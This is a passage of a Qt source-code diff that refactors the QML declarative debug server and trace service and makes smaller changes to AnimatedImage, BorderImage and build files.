+Q_DECLARE_INTERFACE(QDeclarativeDebugServerConnection, "com.trolltech.Qt.QDeclarativeDebugServerConnection/1.0")
+
 QT_END_NAMESPACE
 
-#endif
+QT_END_HEADER
+
+#endif // QDECLARATIVEDEBUGSERVERCONNECTION_H
diff --git a/src/declarative/debugger/qdeclarativedebugservice.cpp b/src/declarative/debugger/qdeclarativedebugservice.cpp
index e916de4..1b39f1c 100644
--- a/src/declarative/debugger/qdeclarativedebugservice.cpp
+++ b/src/declarative/debugger/qdeclarativedebugservice.cpp
@@ -40,301 +40,14 @@
 ****************************************************************************/
 
 #include "private/qdeclarativedebugservice_p.h"
+#include "private/qdeclarativedebugservice_p_p.h"
+#include "private/qdeclarativedebugserver_p.h"
 
-#include "private/qpacketprotocol_p.h"
-#include "private/qdeclarativeengine_p.h"
-
-#include <QtCore/qdebug.h>
-#include <QtNetwork/qtcpserver.h>
-#include <QtNetwork/qtcpsocket.h>
-#include <QtCore/qstringlist.h>
-
-#include <private/qobject_p.h>
-#include <private/qapplication_p.h>
-#include <QtGui/qapplication.h>
+#include <QtCore/QDebug>
+#include <QtCore/QStringList>
 
 QT_BEGIN_NAMESPACE
 
-/*
-  QDeclarativeDebug Protocol (Version 1):
-
-  handshake:
-    1. Client sends
-         "QDeclarativeDebugServer" 0 version pluginNames
-       version: an int representing the highest protocol version the client knows
-       pluginNames: plugins available on client side
-    2. Server sends
-         "QDeclarativeDebugClient" 0 version pluginNames
-       version: an int representing the highest protocol version the client & server know
-       pluginNames: plugins available on server side. plugins both in the client and server message are enabled.
-  client plugin advertisement
-    1. Client sends
-         "QDeclarativeDebugServer" 1 pluginNames
-  server plugin advertisement
-    1. Server sends
-         "QDeclarativeDebugClient" 1 pluginNames
-  plugin communication:
-       Everything send with a header different to "QDeclarativeDebugServer" is sent to the appropriate plugin.
-  */
-
-const int protocolVersion = 1;
-
-class QDeclarativeDebugServerPrivate;
-class QDeclarativeDebugServer : public QObject
-{
-    Q_OBJECT
-    Q_DECLARE_PRIVATE(QDeclarativeDebugServer)
-    Q_DISABLE_COPY(QDeclarativeDebugServer)
-public:
-    static QDeclarativeDebugServer *instance();
-    void listen();
-    void waitForConnection();
-    bool hasDebuggingClient() const;
-
-private Q_SLOTS:
-    void readyRead();
-    void newConnection();
-
-private:
-    friend class QDeclarativeDebugService;
-    friend class QDeclarativeDebugServicePrivate;
-    QDeclarativeDebugServer(int); 
-};
-
-class QDeclarativeDebugServerPrivate : public QObjectPrivate
-{
-    Q_DECLARE_PUBLIC(QDeclarativeDebugServer)
-public:
-    QDeclarativeDebugServerPrivate();
-
-    void advertisePlugins();
-
-    int port;
-    QTcpSocket *connection;
-    QPacketProtocol *protocol;
-    QHash<QString, QDeclarativeDebugService *> plugins;
-    QStringList clientPlugins;
-    QTcpServer *tcpServer;
-    bool gotHello;
-};
-
-class QDeclarativeDebugServicePrivate : public QObjectPrivate
-{
-    Q_DECLARE_PUBLIC(QDeclarativeDebugService)
-public:
-    QDeclarativeDebugServicePrivate();
-
-    QString name;
-    QDeclarativeDebugServer *server;
-};
-
-QDeclarativeDebugServerPrivate::QDeclarativeDebugServerPrivate()
-: connection(0), protocol(0), gotHello(false)
-{
-}
-
-void QDeclarativeDebugServerPrivate::advertisePlugins()
-{
-    if (!connection
-            || connection->state() != QTcpSocket::ConnectedState
-            || !gotHello)
-        return;
-
-    QPacket pack;
-    pack << QString(QLatin1String("QDeclarativeDebugClient")) << 1 << plugins.keys();
-    protocol->send(pack);
-    connection->flush();
-}
-
-void QDeclarativeDebugServer::listen()
-{
-    Q_D(QDeclarativeDebugServer);
-
-    d->tcpServer = new QTcpServer(this);
-    QObject::connect(d->tcpServer, SIGNAL(newConnection()), this, SLOT(newConnection()));
-    if (d->tcpServer->listen(QHostAddress::Any, d->port)) 
-        qWarning("QDeclarativeDebugServer: Waiting for connection on port %d...", d->port);
-    else
-        qWarning("QDeclarativeDebugServer: Unable to listen on port %d", d->port);
-}
-
-void QDeclarativeDebugServer::waitForConnection()
-{
-    Q_D(QDeclarativeDebugServer);
-    d->tcpServer->waitForNewConnection(-1);
-}
-
-void QDeclarativeDebugServer::newConnection()
-{
-    Q_D(QDeclarativeDebugServer);
-
-    if (d->connection) {
-        qWarning("QDeclarativeDebugServer error: another client is already connected");
-        QTcpSocket *faultyConnection = d->tcpServer->nextPendingConnection();
-        delete faultyConnection;
-        return;
-    }
-
-    d->connection = d->tcpServer->nextPendingConnection();
-    d->connection->setParent(this);
-    d->protocol = new QPacketProtocol(d->connection, this);
-    QObject::connect(d->protocol, SIGNAL(readyRead()), this, SLOT(readyRead()));
-}
-
-bool QDeclarativeDebugServer::hasDebuggingClient() const
-{
-    Q_D(const QDeclarativeDebugServer);
-    return d->connection
-            && (d->connection->state() == QTcpSocket::ConnectedState)
-            && d->gotHello;
-}
-
-QDeclarativeDebugServer *QDeclarativeDebugServer::instance()
-{
-    static bool commandLineTested = false;
-    static QDeclarativeDebugServer *server = 0;
-
-    if (!commandLineTested) {
-        commandLineTested = true;
-
-#ifndef QDECLARATIVE_NO_DEBUG_PROTOCOL
-        QApplicationPrivate *appD = static_cast<QApplicationPrivate*>(QObjectPrivate::get(qApp));
-        // ### remove port definition when protocol is changed
-        int port = 0;
-        bool block = false;
-        bool ok = false;
-
-        // format: qmljsdebugger=port:3768[,block]
-        if (!appD->qmljsDebugArgumentsString().isEmpty()) {
-            if (!QDeclarativeEnginePrivate::qml_debugging_enabled) {
-                qWarning() << QString::fromLatin1("QDeclarativeDebugServer: Ignoring \"-qmljsdebugger=%1\". "
-                              "Debugging has not been enabled.").arg(
-                                  appD->qmljsDebugArgumentsString()).toAscii().constData();
-                return 0;
-            }
-
-            if (appD->qmljsDebugArgumentsString().indexOf(QLatin1String("port:")) == 0) {
-                int separatorIndex = appD->qmljsDebugArgumentsString().indexOf(QLatin1Char(','));
-                port = appD->qmljsDebugArgumentsString().mid(5, separatorIndex - 5).toInt(&ok);
-            }
-            block = appD->qmljsDebugArgumentsString().contains(QLatin1String("block"));
-
-            if (ok) {
-                server = new QDeclarativeDebugServer(port);
-                server->listen();
-                if (block) {
-                    server->waitForConnection();
-                }
-            } else {
-                const QString message =
-                    QString::fromAscii("QDeclarativeDebugServer: Ignoring \"-qmljsdebugger=%1\". "
-                                       "Format is -qmljsdebugger=port:<port>[,block]").
-                                       arg(appD->qmljsDebugArgumentsString());
-                qWarning("%s", qPrintable(message));
-            }
-        }
-#endif
-    }
-
-    return server;
-}
-
-QDeclarativeDebugServer::QDeclarativeDebugServer(int port)
-: QObject(*(new QDeclarativeDebugServerPrivate))
-{
-    Q_D(QDeclarativeDebugServer);
-    d->port = port;
-}
-
-void QDeclarativeDebugServer::readyRead()
-{
-    Q_D(QDeclarativeDebugServer);
-
-    if (!d->gotHello) {
-        QPacket hello = d->protocol->read();
-
-        QString name;
-        int op;
-        hello >> name >> op;
-
-        if (name != QLatin1String("QDeclarativeDebugServer")
-                || op != 0) {
-            qWarning("QDeclarativeDebugServer: Invalid hello message");
-            QObject::disconnect(d->protocol, SIGNAL(readyRead()), this, SLOT(readyRead()));
-            d->protocol->deleteLater();
-            d->protocol = 0;
-            d->connection->deleteLater();
-            d->connection = 0;
-            return;
-        }
-
-        int version;
-        hello >> version >> d->clientPlugins;
-
-        QHash<QString, QDeclarativeDebugService*>::Iterator iter = d->plugins.begin();
-        for (; iter != d->plugins.end(); ++iter) {
-            QDeclarativeDebugService::Status newStatus = QDeclarativeDebugService::Unavailable;
-            if (d->clientPlugins.contains(iter.key()))
-                newStatus = QDeclarativeDebugService::Enabled;
-            iter.value()->statusChanged(newStatus);
-        }
-
-        QPacket helloAnswer;
-        helloAnswer << QString(QLatin1String("QDeclarativeDebugClient")) << 0 << protocolVersion << d->plugins.keys();
-        d->protocol->send(helloAnswer);
-        d->connection->flush();
-
-        d->gotHello = true;
-        qWarning("QDeclarativeDebugServer: Connection established");
-    }
-
-    QString debugServer(QLatin1String("QDeclarativeDebugServer"));
-
-    while (d->protocol->packetsAvailable()) {
-        QPacket pack = d->protocol->read();
-
-        QString name;
-        pack >> name;
-
-        if (name == debugServer) {
-            int op = -1;
-            pack >> op;
-
-            if (op == 1) {
-                // Service Discovery
-                QStringList oldClientPlugins = d->clientPlugins;
-                pack >> d->clientPlugins;
-
-                QHash<QString, QDeclarativeDebugService*>::Iterator iter = d->plugins.begin();
-                for (; iter != d->plugins.end(); ++iter) {
-                    const QString pluginName = iter.key();
-                    QDeclarativeDebugService::Status newStatus = QDeclarativeDebugService::Unavailable;
-                    if (d->clientPlugins.contains(pluginName))
-                        newStatus = QDeclarativeDebugService::Enabled;
-
-                    if (oldClientPlugins.contains(pluginName)
-                            != d->clientPlugins.contains(pluginName)) {
-                        iter.value()->statusChanged(newStatus);
-                    }
-                }
-            } else {
-                qWarning("QDeclarativeDebugServer: Invalid control message %d", op);
-            }
-        } else {
-            QByteArray message;
-            pack >> message;
-
-            QHash<QString, QDeclarativeDebugService *>::Iterator iter = 
-                d->plugins.find(name);
-            if (iter == d->plugins.end()) {
-                qWarning() << "QDeclarativeDebugServer: Message received for missing plugin" << name;
-            } else {
-                (*iter)->messageReceived(message);
-            }
-        }
-    }
-}
-
 QDeclarativeDebugServicePrivate::QDeclarativeDebugServicePrivate()
 : server(0)
 {
@@ -346,16 +59,16 @@ QDeclarativeDebugService::QDeclarativeDebugService(const QString &name, QObject
     Q_D(QDeclarativeDebugService);
     d->name = name;
     d->server = QDeclarativeDebugServer::instance();
+    d->status = QDeclarativeDebugService::NotConnected;
 
     if (!d->server)
         return;
 
-    if (d->server->d_func()->plugins.contains(name)) {
+    if (d->server->serviceNames().contains(name)) {
         qWarning() << "QDeclarativeDebugService: Conflicting plugin name" << name;
         d->server = 0;
     } else {
-        d->server->d_func()->plugins.insert(name, this);
-        d->server->d_func()->advertisePlugins();
+        d->server->addService(this);
     }
 }
 
@@ -363,8 +76,7 @@ QDeclarativeDebugService::~QDeclarativeDebugService()
 {
     Q_D(const QDeclarativeDebugService);
     if (d->server) {
-        d->server->d_func()->plugins.remove(d->name);
-        d->server->d_func()->advertisePlugins();
+        d->server->removeService(this);
     }
 }
 
@@ -377,13 +89,7 @@ QString QDeclarativeDebugService::name() const
 QDeclarativeDebugService::Status QDeclarativeDebugService::status() const
 {
     Q_D(const QDeclarativeDebugService);
-    if (!d->server
-            || !d->server->hasDebuggingClient())
-        return NotConnected;
-    if (d->server->d_func()->clientPlugins.contains(d->name))
-        return Enabled;
-
-    return Unavailable;
+    return d->status;
 }
 
 namespace {
@@ -500,10 +206,7 @@ void QDeclarativeDebugService::sendMessage(const QByteArray &message)
     if (status() != Enabled)
         return;
 
-    QPacket pack;
-    pack << d->name << message;
-    d->server->d_func()->protocol->send(pack);
-    d->server->d_func()->connection->flush();
+    d->server->sendMessage(this, message);
 }
 
 void QDeclarativeDebugService::statusChanged(Status)
@@ -515,5 +218,3 @@ void QDeclarativeDebugService::messageReceived(const QByteArray &)
 }
 
 QT_END_NAMESPACE
-
-#include <qdeclarativedebugservice.moc>
diff --git a/tools/qdoc3/loutgenerator.h b/src/declarative/debugger/qdeclarativedebugservice_p_p.h
index 1ca4a04..d2c8dda 100644
--- a/tools/qdoc3/loutgenerator.h
+++ b/src/declarative/debugger/qdeclarativedebugservice_p_p.h
@@ -1,10 +1,10 @@
 /****************************************************************************
 **
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
 ** All rights reserved.
 ** Contact: Nokia Corporation (qt-info@nokia.com)
 **
-** This file is part of the tools applications of the Qt Toolkit.
+** This file is part of the QtDeclarative module of the Qt Toolkit.
 **
 ** $QT_BEGIN_LICENSE:LGPL$
 ** No Commercial Usage
@@ -39,29 +39,33 @@
 **
 ****************************************************************************/
 
-/*
-  loutgenerator.h
-*/
+#ifndef QDECLARATIVEDEBUGSERVICE_P_H
+#define QDECLARATIVEDEBUGSERVICE_P_H
 
-#ifndef LOUTGENERATOR_H
-#define LOUTGENERATOR_H
+#include <QtCore/qglobal.h>
+#include <private/qobject_p.h>
 
-#include "bookgenerator.h"
+QT_BEGIN_HEADER
 
 QT_BEGIN_NAMESPACE
 
-class LoutGenerator : public BookGenerator
+QT_MODULE(Declarative)
+
+class QDeclarativeDebugServer;
+
+class QDeclarativeDebugServicePrivate : public QObjectPrivate
 {
+    Q_DECLARE_PUBLIC(QDeclarativeDebugService)
 public:
-    LoutGenerator();
-    ~LoutGenerator();
+    QDeclarativeDebugServicePrivate();
 
-    virtual QString format();
-
-protected:
-    // ###
+    QString name;
+    QDeclarativeDebugServer *server;
+    QDeclarativeDebugService::Status status;
 };
 
 QT_END_NAMESPACE
 
-#endif
+QT_END_HEADER
+
+#endif // QDECLARATIVEDEBUGSERVICE_P_H
diff --git a/src/declarative/debugger/qdeclarativedebugtrace.cpp b/src/declarative/debugger/qdeclarativedebugtrace.cpp
index 5b78683..6f28736 100644
--- a/src/declarative/debugger/qdeclarativedebugtrace.cpp
+++ b/src/declarative/debugger/qdeclarativedebugtrace.cpp
@@ -43,11 +43,29 @@
 
 #include <QtCore/qdatastream.h>
 #include <QtCore/qurl.h>
+#include <QtCore/qtimer.h>
 
 Q_GLOBAL_STATIC(QDeclarativeDebugTrace, traceInstance);
 
+// convert to a QByteArray that can be sent to the debug client
+// use of QDataStream can skew results if m_deferredSend == false
+//     (see tst_qperformancetimer::trace() benchmark)
+QByteArray QDeclarativeDebugData::toByteArray() const
+{
+    QByteArray data;
+    //### using QDataStream is relatively expensive
+    QDataStream ds(&data, QIODevice::WriteOnly);
+    ds << time << messageType << detailType;
+    if (messageType == (int)QDeclarativeDebugTrace::RangeData)
+        ds << detailData;
+    if (messageType == (int)QDeclarativeDebugTrace::RangeLocation)
+        ds << detailData << line;
+    return data;
+}
+
 QDeclarativeDebugTrace::QDeclarativeDebugTrace()
-: QDeclarativeDebugService(QLatin1String("CanvasFrameRate"))
+: QDeclarativeDebugService(QLatin1String("CanvasFrameRate")),
+  m_enabled(false), m_deferredSend(true)
 {
     m_timer.start();
 }
@@ -64,10 +82,28 @@ void QDeclarativeDebugTrace::startRange(RangeType t)
         traceInstance()->startRangeImpl(t);
 }
 
-void QDeclarativeDebugTrace::rangeData(RangeType t, const QUrl &url)
+void QDeclarativeDebugTrace::rangeData(RangeType t, const QString &data)
 {
     if (QDeclarativeDebugService::isDebuggingEnabled()) 
-        traceInstance()->rangeDataImpl(t, url);
+        traceInstance()->rangeDataImpl(t, data);
+}
+
+void QDeclarativeDebugTrace::rangeData(RangeType t, const QUrl &data)
+{
+    if (QDeclarativeDebugService::isDebuggingEnabled())
+        traceInstance()->rangeDataImpl(t, data);
+}
+
+void QDeclarativeDebugTrace::rangeLocation(RangeType t, const QString &fileName, int line)
+{
+    if (QDeclarativeDebugService::isDebuggingEnabled())
+        traceInstance()->rangeLocationImpl(t, fileName, line);
+}
+
+void QDeclarativeDebugTrace::rangeLocation(RangeType t, const QUrl &fileName, int line)
+{
+    if (QDeclarativeDebugService::isDebuggingEnabled())
+        traceInstance()->rangeLocationImpl(t, fileName, line);
 }
 
 void QDeclarativeDebugTrace::endRange(RangeType t)
@@ -78,45 +114,105 @@ void QDeclarativeDebugTrace::endRange(RangeType t)
 
 void QDeclarativeDebugTrace::addEventImpl(EventType event)
 {
-    if (status() != Enabled)
+    if (status() != Enabled || !m_enabled)
         return;
 
-    QByteArray data;
-    QDataStream ds(&data, QIODevice::WriteOnly);
-    ds << m_timer.elapsed() << (int)Event << (int)event;
-    sendMessage(data);
+    QDeclarativeDebugData ed = {m_timer.elapsed(), (int)Event, (int)event, QString(), -1};
+    processMessage(ed);
 }
 
 void QDeclarativeDebugTrace::startRangeImpl(RangeType range)
 {
-    if (status() != Enabled)
+    if (status() != Enabled || !m_enabled)
         return;
 
-    QByteArray data;
-    QDataStream ds(&data, QIODevice::WriteOnly);
-    ds << m_timer.elapsed() << (int)RangeStart << (int)range;
-    sendMessage(data);
+    QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeStart, (int)range, QString(), -1};
+    processMessage(rd);
 }
 
-void QDeclarativeDebugTrace::rangeDataImpl(RangeType range, const QUrl &u)
+void QDeclarativeDebugTrace::rangeDataImpl(RangeType range, const QString &rData)
 {
-    if (status() != Enabled)
+    if (status() != Enabled || !m_enabled)
         return;
 
-    QByteArray data;
-    QDataStream ds(&data, QIODevice::WriteOnly);
-    ds << m_timer.elapsed() << (int)RangeData << (int)range << (QString)u.toString();
-    sendMessage(data);
+    QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeData, (int)range, rData, -1};
+    processMessage(rd);
+}
+
+void QDeclarativeDebugTrace::rangeDataImpl(RangeType range, const QUrl &rData)
+{
+    if (status() != Enabled || !m_enabled)
+        return;
+
+    QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeData, (int)range, rData.toString(QUrl::FormattingOption(0x100)), -1};
+    processMessage(rd);
+}
+
+void QDeclarativeDebugTrace::rangeLocationImpl(RangeType range, const QString &fileName, int line)
+{
+    if (status() != Enabled || !m_enabled)
+        return;
+
+    QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeLocation, (int)range, fileName, line};
+    processMessage(rd);
+}
+
+void QDeclarativeDebugTrace::rangeLocationImpl(RangeType range, const QUrl &fileName, int line)
+{
+    if (status() != Enabled || !m_enabled)
+        return;
+
+    QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeLocation, (int)range, fileName.toString(QUrl::FormattingOption(0x100)), line};
+    processMessage(rd);
 }
 
 void QDeclarativeDebugTrace::endRangeImpl(RangeType range)
 {
-    if (status() != Enabled)
+    if (status() != Enabled || !m_enabled)
         return;
 
-    QByteArray data;
-    QDataStream ds(&data, QIODevice::WriteOnly);
-    ds << m_timer.elapsed() << (int)RangeEnd << (int)range;
-    sendMessage(data);
+    QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeEnd, (int)range, QString(), -1};
+    processMessage(rd);
+}
+
+/*
+    Either send the message directly, or queue up
+    a list of messages to send later (via sendMessages)
+*/
+void QDeclarativeDebugTrace::processMessage(const QDeclarativeDebugData &message)
+{
+    if (m_deferredSend)
+        m_data.append(message);
+    else
+        sendMessage(message.toByteArray());
 }
 
+/*
+    Send the messages queued up by processMessage
+*/
+void QDeclarativeDebugTrace::sendMessages()
+{
+    if (m_deferredSend) {
+        //### this is a suboptimal way to send batched messages
+        for (int i = 0; i < m_data.count(); ++i)
+            sendMessage(m_data.at(i).toByteArray());
+        m_data.clear();
+
+        //indicate completion
+        QByteArray data;
+        QDataStream ds(&data, QIODevice::WriteOnly);
+        ds << (qint64)-1 << (int)Complete;
+        sendMessage(data);
+    }
+}
+
+void QDeclarativeDebugTrace::messageReceived(const QByteArray &message)
+{
+    QByteArray rwData = message;
+    QDataStream stream(&rwData, QIODevice::ReadOnly);
+
+    stream >> m_enabled;
+
+    if (!m_enabled)
+        sendMessages();
+}
diff --git a/src/declarative/debugger/qdeclarativedebugtrace_p.h b/src/declarative/debugger/qdeclarativedebugtrace_p.h
index 008b618..ae0653e 100644
--- a/src/declarative/debugger/qdeclarativedebugtrace_p.h
+++ b/src/declarative/debugger/qdeclarativedebugtrace_p.h
@@ -43,37 +43,54 @@
 #define QDECLARATIVEDEBUGTRACE_P_H
 
 #include <private/qdeclarativedebugservice_p.h>
-#include <QtCore/qelapsedtimer.h>
+#include <private/qperformancetimer_p.h>
 
 QT_BEGIN_HEADER
 
 QT_BEGIN_NAMESPACE
 
+struct QDeclarativeDebugData
+{
+    qint64 time;
+    int messageType;
+    int detailType;
+
+    //###
+    QString detailData; //used by RangeData and RangeLocation
+    int line;           //used by RangeLocation
+
+    QByteArray toByteArray() const;
+};
+
 class QUrl;
 class Q_AUTOTEST_EXPORT QDeclarativeDebugTrace : public QDeclarativeDebugService
 {
 public:
-    enum EventType {
-        FramePaint,
-        Mouse,
-        Key,
-
-        MaximumEventType
-    };
-
     enum Message {
         Event,
         RangeStart,
         RangeData,
+        RangeLocation,
         RangeEnd,
+        Complete,
 
         MaximumMessage
     };
 
+    enum EventType {
+        FramePaint,
+        Mouse,
+        Key,
+
+        MaximumEventType
+    };
+
     enum RangeType {
         Painting,
         Compiling,
         Creating,
+        Binding,            //running a binding
+        HandlingSignal,     //running a signal handler
 
         MaximumRangeType
     };
@@ -81,16 +98,29 @@ public:
     static void addEvent(EventType);
 
     static void startRange(RangeType);
+    static void rangeData(RangeType, const QString &);
     static void rangeData(RangeType, const QUrl &);
+    static void rangeLocation(RangeType, const QString &, int);
+    static void rangeLocation(RangeType, const QUrl &, int);
     static void endRange(RangeType);
 
     QDeclarativeDebugTrace();
+protected:
+    virtual void messageReceived(const QByteArray &);
 private:
     void addEventImpl(EventType);
     void startRangeImpl(RangeType);
+    void rangeDataImpl(RangeType, const QString &);
     void rangeDataImpl(RangeType, const QUrl &);
+    void rangeLocationImpl(RangeType, const QString &, int);
+    void rangeLocationImpl(RangeType, const QUrl &, int);
     void endRangeImpl(RangeType);
-    QElapsedTimer m_timer;
+    void processMessage(const QDeclarativeDebugData &);
+    void sendMessages();
+    QPerformanceTimer m_timer;
+    bool m_enabled;
+    bool m_deferredSend;
+    QList<QDeclarativeDebugData> m_data;
 };
 
 QT_END_NAMESPACE
diff --git a/src/declarative/debugger/qpacketprotocol.cpp b/src/declarative/debugger/qpacketprotocol.cpp
index 0adfb76..15a14cf 100644
--- a/src/declarative/debugger/qpacketprotocol.cpp
+++ b/src/declarative/debugger/qpacketprotocol.cpp
@@ -407,6 +407,7 @@ QPacket::QPacket()
     buf = new QBuffer(&b);
     buf->open(QIODevice::WriteOnly);
     setDevice(buf);
+    setVersion(QDataStream::Qt_4_7);
 }
 
 /*!
@@ -452,6 +453,14 @@ bool QPacket::isEmpty() const
 }
 
 /*!
+  Returns raw packet data.
+  */
+QByteArray QPacket::data() const
+{
+    return b;
+}
+
+/*!
   Clears data in the packet.  This is useful for reusing one writable packet.
   For example
   \code
diff --git a/src/declarative/debugger/qpacketprotocol_p.h b/src/declarative/debugger/qpacketprotocol_p.h
index 120579d..accb8ef 100644
--- a/src/declarative/debugger/qpacketprotocol_p.h
+++ b/src/declarative/debugger/qpacketprotocol_p.h
@@ -59,7 +59,7 @@ class QPacket;
 class QPacketAutoSend;
 class QPacketProtocolPrivate;
 
-class Q_DECLARATIVE_PRIVATE_EXPORT QPacketProtocol : public QObject
+class Q_DECLARATIVE_EXPORT QPacketProtocol : public QObject
 {
 Q_OBJECT
 public:
@@ -89,7 +89,7 @@ private:
 };
 
 
-class Q_DECLARATIVE_PRIVATE_EXPORT QPacket : public QDataStream
+class Q_DECLARATIVE_EXPORT QPacket : public QDataStream
 {
 public:
     QPacket();
@@ -98,6 +98,7 @@ public:
 
     void clear();
     bool isEmpty() const;
+    QByteArray data() const;
 
 protected:
     friend class QPacketProtocol;
diff --git a/src/declarative/declarative.pro b/src/declarative/declarative.pro
index 4ed4f9f..6bd314f 100644
--- a/src/declarative/declarative.pro
+++ b/src/declarative/declarative.pro
@@ -27,6 +27,13 @@ include(debugger/debugger.pri)
 symbian: {
     TARGET.UID3=0x2001E623
     LIBS += -lefsrv
+
+    contains(QT_CONFIG, freetype) {
+        DEFINES += QT_NO_FONTCONFIG
+        INCLUDEPATH += \
+            ../3rdparty/freetype/src \
+            ../3rdparty/freetype/include
+    }
 }
 
 DEFINES += QT_NO_OPENTYPE
diff --git a/src/declarative/graphicsitems/graphicsitems.pri b/src/declarative/graphicsitems/graphicsitems.pri
index ffdeb29..9904274 100644
--- a/src/declarative/graphicsitems/graphicsitems.pri
+++ b/src/declarative/graphicsitems/graphicsitems.pri
@@ -50,7 +50,12 @@ HEADERS += \
     $$PWD/qdeclarativelayoutitem_p.h \
     $$PWD/qdeclarativeitemchangelistener_p.h \
     $$PWD/qdeclarativegraphicswidget_p.h \
-    $$PWD/qdeclarativetextlayout_p.h
+    $$PWD/qdeclarativetextlayout_p.h \
+    $$PWD/qdeclarativepincharea_p.h \
+    $$PWD/qdeclarativepincharea_p_p.h \
+    $$PWD/qdeclarativeimplicitsizeitem_p.h \
+    $$PWD/qdeclarativeimplicitsizeitem_p_p.h
+
 
 SOURCES += \
     $$PWD/qdeclarativeitemsmodule.cpp \
@@ -83,5 +88,7 @@ SOURCES += \
     $$PWD/qdeclarativelistview.cpp \
     $$PWD/qdeclarativelayoutitem.cpp \
     $$PWD/qdeclarativegraphicswidget.cpp \
-    $$PWD/qdeclarativetextlayout.cpp
+    $$PWD/qdeclarativetextlayout.cpp \
+    $$PWD/qdeclarativepincharea.cpp \
+    $$PWD/qdeclarativeimplicitsizeitem.cpp
 
diff --git a/src/declarative/graphicsitems/qdeclarativeanimatedimage.cpp b/src/declarative/graphicsitems/qdeclarativeanimatedimage.cpp
index 4729817..016b87d 100644
--- a/src/declarative/graphicsitems/qdeclarativeanimatedimage.cpp
+++ b/src/declarative/graphicsitems/qdeclarativeanimatedimage.cpp
@@ -86,6 +86,25 @@ QT_BEGIN_NAMESPACE
     \sa BorderImage, Image
 */
 
+/*!
+    \qmlproperty bool AnimatedImage::cache
+    \since Quick 1.1
+
+    Specifies whether the image should be cached. The default value is
+    true. Setting \a cache to false is useful when dealing with large images,
+    to make sure that they aren't cached at the expense of small 'ui element' images.
+*/
+
+/*!
+    \qmlproperty bool AnimatedImage::mirror
+    \since Quick 1.1
+
+    This property holds whether the image should be horizontally inverted
+    (effectively displaying a mirrored image).
+
+    The default value is false.
+*/
+
 QDeclarativeAnimatedImage::QDeclarativeAnimatedImage(QDeclarativeItem *parent)
     : QDeclarativeImage(*(new QDeclarativeAnimatedImagePrivate), parent)
 {
@@ -126,7 +145,7 @@ void QDeclarativeAnimatedImage::setPaused(bool pause)
   \qmlproperty bool AnimatedImage::playing
   This property holds whether the animated image is playing.
 
-  By defaults, this property is true, meaning that the animation
+  By default, this property is true, meaning that the animation
   will start playing immediately.
 */
 bool QDeclarativeAnimatedImage::isPlaying() const
@@ -202,13 +221,22 @@ void QDeclarativeAnimatedImage::setSource(const QUrl &url)
     }
 
     d->url = url;
+    emit sourceChanged(d->url);
+
+    if (isComponentComplete())
+        load();
+}
+
+void QDeclarativeAnimatedImage::load()
+{
+    Q_D(QDeclarativeAnimatedImage);
 
-    if (url.isEmpty()) {
+    if (d->url.isEmpty()) {
         delete d->_movie;
         d->status = Null;
     } else {
 #ifndef QT_NO_LOCALFILE_OPTIMIZED_QML
-        QString lf = QDeclarativeEnginePrivate::urlToLocalFileOrQrc(url);
+        QString lf = QDeclarativeEnginePrivate::urlToLocalFileOrQrc(d->url);
         if (!lf.isEmpty()) {
             //### should be unified with movieRequestFinished
             d->_movie = new QMovie(lf);
@@ -216,6 +244,8 @@ void QDeclarativeAnimatedImage::setSource(const QUrl &url)
                 qmlInfo(this) << "Error Reading Animated Image File " << d->url.toString();
                 delete d->_movie;
                 d->_movie = 0;
+                d->status = Error;
+                emit statusChanged(d->status);
                 return;
             }
             connect(d->_movie, SIGNAL(stateChanged(QMovie::MovieState)),
@@ -245,7 +275,6 @@ void QDeclarativeAnimatedImage::setSource(const QUrl &url)
         QObject::connect(d->reply, SIGNAL(finished()),
                          this, SLOT(movieRequestFinished()));
     }
-
     emit statusChanged(d->status);
 }
 
@@ -275,6 +304,8 @@ void QDeclarativeAnimatedImage::movieRequestFinished()
 #endif
         delete d->_movie;
         d->_movie = 0;
+        d->status = Error;
+        emit statusChanged(d->status);
         return;
     }
     connect(d->_movie, SIGNAL(stateChanged(QMovie::MovieState)),
@@ -291,6 +322,8 @@ void QDeclarativeAnimatedImage::movieRequestFinished()
     if(d->paused)
         d->_movie->setPaused(true);
     d->setPixmap(d->_movie->currentPixmap());
+    d->status = Ready;
+    emit statusChanged(d->status);
 }
 
 void QDeclarativeAnimatedImage::movieUpdate()
@@ -317,6 +350,8 @@ void QDeclarativeAnimatedImage::componentComplete()
 {
     Q_D(QDeclarativeAnimatedImage);
     QDeclarativeItem::componentComplete(); // NOT QDeclarativeImage
+    if (d->url.isValid())
+        load();
     if (!d->reply) {
         setCurrentFrame(d->preset_currentframe);
         d->preset_currentframe = 0;
diff --git a/src/declarative/graphicsitems/qdeclarativeanimatedimage_p.h b/src/declarative/graphicsitems/qdeclarativeanimatedimage_p.h
index e5025bf..e2ed70b 100644
--- a/src/declarative/graphicsitems/qdeclarativeanimatedimage_p.h
+++ b/src/declarative/graphicsitems/qdeclarativeanimatedimage_p.h
@@ -97,6 +97,7 @@ private Q_SLOTS:
     void playingStatusChanged();
 
 protected:
+    virtual void load();
     void componentComplete();
 
 private:
diff --git a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp
index 16fb376..c03c624 100644
--- a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp
+++ b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp
@@ -200,6 +200,16 @@ QDeclarativeBorderImage::~QDeclarativeBorderImage()
 */
 
 /*!
+    \qmlproperty bool BorderImage::mirror
+    \since Quick 1.1
+
+    This property holds whether the image should be horizontally inverted
+    (effectively displaying a mirrored image).
+
+    The default value is false.
+*/
+
+/*!
     \qmlproperty url BorderImage::source
 
     This property holds the URL that refers to the source image.
@@ -215,17 +225,29 @@ QDeclarativeBorderImage::~QDeclarativeBorderImage()
     image \c picture.png:
 
     \qml
-    border.left: 10
-    border.top: 10
-    border.bottom: 10
-    border.right: 10
-    source: picture.png
+    BorderImage {
+        border.left: 10
+        border.top: 10
+        border.bottom: 10
+        border.right: 10
+        source: "picture.png"
+    }
     \endqml
 
     The URL may be absolute, or relative to the URL of the component.
 
     \sa QDeclarativeImageProvider
 */
+
